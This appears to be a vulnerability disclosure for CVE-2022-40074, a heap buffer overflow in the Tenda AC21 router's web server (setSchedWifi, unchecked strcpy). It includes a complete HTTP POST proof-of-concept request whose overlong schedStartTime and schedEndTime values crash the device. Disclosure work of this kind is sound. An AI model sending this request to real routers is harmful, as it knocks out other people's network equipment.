CVE-2022-40074: Vuln/Tenda AC21/3 at main · xxy1126/Vuln

Tenda AC21(V16.03.08.15) contains heap Buffer Overflow Vulnerability****overview

• Manufacturer’s website information：https://www.tenda.com.cn/
• Firmware download address: https://www.tenda.com.cn/download/detail-3419.html

product information

Tenda A21(V16.03.08.15), latest version of simulation overview：

description****1. Vulnerability Details

Tenda AC21(V16.03.08.15) contains a heap overflow vulnerability in file /bin/httpd, functionsetSchedWifi .

This vulnerability allows attackers to cause a Denial of Service (DoS) via the schedStartTimeand schedEndTimeparameter.

the strcpy(ptr+2, v8) and strcpy(ptr+10, v7) copies strings to heap buffer without checking its length, so there is a heap overflow.

2. Recurring loopholes and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)

2. Attack with the following POC attacks

   POST /goform/openSchedWifi HTTP/1.1 Host: 192.168.0.1 Content-Length: 224 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/system_time.html?random=0.9865714904007963& Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Connection: close

   schedStartTime=1111111111111111111111111111111111111111111111111111111111111111111111111111111&schedEndTime=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&schedWifiEnable=1&timeType=1

By sending this poc, we can achieve the effect of a denial-of-service(DOS) attack .